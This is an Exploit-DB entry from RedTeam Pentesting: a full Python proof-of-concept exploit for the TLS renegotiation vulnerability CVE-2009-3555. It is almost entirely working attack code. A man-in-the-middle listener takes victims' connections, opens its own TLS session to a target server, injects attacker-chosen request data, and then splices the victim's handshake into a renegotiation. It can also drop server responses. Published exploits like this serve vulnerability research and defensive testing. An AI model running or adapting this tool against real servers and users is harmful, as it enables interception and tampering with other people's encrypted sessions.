TLS - Renegotiation

EDB-ID:

10579




Platform:

Multiple

Date:

2009-12-21


#!/usr/bin/env python

######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt@redteam-pentesting.de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)

# License
# -------
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/

# Timeline
# --------
# 2009-12-21 initial public release

# Known Issues
# ------------
# Firefox: if it fails connecting to a TLS site too often, falls back to
#          issuing SSLv2 ClientHello only until browser is restarted
#
# wget:    attempts SSLv2 ClientHello by default

# References
# ----------
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
# http://www.phonefactor.com/sslgap
# http://www.extendedsubset.com/
# http://www.g-sec.lu/practicaltls.pdf
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01

import tlslite
import tlslite.api
import tlslite.messages
import tlslite.constants
import struct
import socket
import threading
import array
import sys
import optparse


if not hasattr(threading.Thread, 'name'):
    # emulate python 2.6 threading module for earlier versions
    threading.current_thread = threading.currentThread
    setattr(threading.Thread, 'name',
            property(threading.Thread.getName, threading.Thread.setName))

def forward(sock1, sock2):
    sock1.settimeout(1.0)
    while True:
        try:
            data = sock1.recv(4096)
            if not data:
                return
            sock2.send(data)
        except socket.error, ex_error:
            if ex_error[0] == 104: # Connection reset by peer
                return
        except socket.timeout, ex_timeout:
            pass


class MessageWrapper(object):
    def __init__(self, version = (3, 1), ssl2 = False):
        self.contentType = tlslite.messages.ContentType.handshake
        self.ssl2 = ssl2
        self.client_version = version

    def setType(self, type):
        self.contentType = type

    def addBytes(self, bytes):
        self.bytes = bytes

    def write(self, trial=False):
        if trial:
            raise Exception('Unsupported')
        return array.array('B', self.bytes)

def send_record(sock, msg_type, version_major, version_minor, record):
    msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))
    if type(record) != str:
        msg += record.tostring()
    else:
        msg += record
    sock.send(msg)

def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):
    msg = MessageWrapper(version)
    msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))
    msg.setType(type)
    for dummy in sslsock._sendMsg(msg, True):
        pass

def decrypt_record(sslsock, type, recordbytes):
    for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):
        pass
    return result

def recv_record(sock):
    try:
        header = sock.recv(5)
        if not header:
            return None, None, None, None
        msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)
        record = ''
        while len(record) != msg_length:
            record += sock.recv(msg_length - len(record))
        return msg_type, msg_version_major, msg_version_minor, record
    except socket.error, ex:
        if ex[0] == 104: # Connection reset by peer
            return

def recv_clienthello(sock):
    header_bytes = []
    header_bytes.append(sock.recv(1))
    header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]
    if header_bytes[0] & 0x80:
        # Version 2.0 Client "Record Layer"
        header_bytes.append(sock.recv(1))
        header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]
        msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]
        msg_version_major = 2
        msg_version_minor = 0
        msg_type = tlslite.constants.ContentType.handshake
        record = sock.recv(msg_length)
    else:
        header = sock.recv(4)
        msg_type = header_bytes[0]
        msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)
        record = sock.recv(msg_length)

    return msg_type, msg_version_major, msg_version_minor, record

def send_hello_request(sock):
    sock.send("\x16"            # Record Layer: Handshake Message
             +"\x03\x01"        # Record Layer Version: TLS 1.0
             +"\x00\x04"        # Record Layer Length: 4
             +"\x00"            # Handshake Message Type: Hello Request
             +"\x00\x00\x00")   # Handshake Message Length: 0

def send_protocol_version_alert(sock):
    sock.send("\x15"            # Record Layer: Alert"
             +"\x03\x01"        # Record Layer Version: TLS 1.0
             +"\x00\x02"        # Record Layer Length: 2
             +"\x00"            # Alert Message: fatal
             +"\x46")           # Alert Message: protocol version


def handle_victim(victim, options, mitmcount):

    if options.one_shot and mitmcount != 0:
        print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(options.target)
            print threading.current_thread().name, 'Connected to target %s:%u' % options.target
        except socket.error, ex:
            print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
            print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
            sys.exit(1)

        t1 = threading.Thread(target=forward, args=(sock, victim))
        t1.start()

        t2 = threading.Thread(target=forward, args=(victim, sock))
        t2.start()

        t1.join()
        sock.close()

        t2.join()
        victim.close()
        return

    # obtain initial "client hello" message
    msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)
    if msg_version_major == 2:
        print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"
        return

    tls_version = (msg_version_major, msg_version_minor)
    type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])
    resume_session = (session_id_length != 0)
    if resume_session:
        print threading.current_thread().name, "client attempting to resume session"

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect(options.target)
        print threading.current_thread().name, 'Connected to target %s:%u' % options.target
    except socket.error, ex:
        print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
        print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
        sys.exit(1)


    sslsock = tlslite.api.TLSConnection(sock)
    handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()
    handshake_settings.minVersion = tls_version
    handshake_settings.maxVersion = tls_version
    sslsock.handshakeClientCert(settings = handshake_settings)

    # inject prefix
    sslsock.write(options.inject)
    print threading.current_thread().name, 'Injected %s' % repr(options.inject)

    # send original "client hello" message over the encrypted channel
    send_encapsulated(sslsock, 22, hello_msg, tls_version)

    # now receive serveral TLS messages from the server, decrypt them, and forward
    # them to the client, until the server sends "server hello done"
    # these messages include "server hello", "certificate", "server key exchange",
    # unless the client is trying to resume a previous session
    print threading.current_thread().name, "about to receive server handshake messages"
    server_handshake_done = False
    while not server_handshake_done:
        msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)
        if result:
            result = decrypt_record(sslsock, msg_type, result)
            send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
            if result[0] == 0x0e: # server hello done - should terminate handshake
                server_handshake_done = True
            elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant
                server_handshake_done = True
        else:
            print threading.current_thread().name, 'receive from server failed, exiting thread'
            return
    print threading.current_thread().name, "server handshake done"


    # now its the the client's turn to send some messages, e.g.
    # "client key exchange" and "change cipher spec"
    print threading.current_thread().name, "about to receive client handshake messages"
    handshake_finished = False
    while not handshake_finished:
        msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
        print threading.current_thread().name, msg_type
        send_encapsulated(sslsock, msg_type, record, tls_version)
        if msg_type == 0x14: # change cipher spec
            handshake_finished = True

    print threading.current_thread().name, "client handshake done"

    # message after "change cipher spec" must be sent in the "clear"
    msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
    send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)

    # server should now send "change cipher spec" message, we decrypt and send that to the victim
    msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
    result = decrypt_record(sslsock, msg_type, record)
    send_record(victim, msg_type, msg_version_major, msg_version_minor, result)

    # finalize handshake
    msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
    if record:
        send_record(victim, msg_type, msg_version_major, msg_version_minor, record)
    else:
        sslsock.sock.close()
        victim.close()
        del sslsock
        return



    # the rest is just forwarding TLS records between both parties,
    # which we cannot interfere with anymore, apart from dropping server
    # responses
    if options.drop:
        sslsock.sock.close()
        del sslsock
    else:
        t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))
        t1.start()

    t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))
    t2.start()

    if not options.drop:
        t1.join()
        sslsock.sock.close()

    t2.join()
    victim.close()



if __name__ == "__main__":
    parser = optparse.OptionParser()
    parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)
    parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')
    parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )
    parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')
    parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')
    parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')
    parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')
    parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')

    (options, args) = parser.parse_args()

    if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:
        print 'Exactly one injection option must be specified'
        sys.exit(1)

    if options.inject_file:
        try:
            options.inject = open(options.inject_file, 'r').read()
        except IOError, ex:
            print ex
            sys.exit(1)

    if options.inject_base64:
        import base64
        try:
            options.inject = base64.decodestring(options.inject_base64)
        except base64.binascii.Error, ex:
            print 'Error decoding base64 data: %s' % ex
            sys.exit(1)


    if not options.listen_port or \
       not options.bind_address or \
       not options.target or \
       not options.inject:
        parser.print_help()
        sys.exit(1)

    target = options.target.split(':')
    if len(target)==2:
        try:
            target[1] = int(target[1])
        except ValueError:
            target[1] = None
    if len(target)!=2 or not target[0] or not target[1]:
        print 'Target \'%s\' not in format HOST:PORT' % options.target
        sys.exit(1)

    options.target = tuple(target)

    try:
        listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listensocket.bind((options.bind_address, options.listen_port))
        print 'Listening on %s:%u' % (options.bind_address, options.listen_port)
    except socket.error, ex:
        print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)
        print 'Error code %u, \'%s\'' % (ex[0], ex[1])
        sys.exit(1)

    listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listensocket.listen(5)

    mitmcount = 0

    while True:
        try:
            victim, victimaddr = listensocket.accept()
            print 'New connection from %s:%u' % victimaddr

            threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()
            mitmcount += 1

        except KeyboardInterrupt, ex:
            print '\nAborted by user, exiting...'
            listensocket.close()
            sys.exit(1)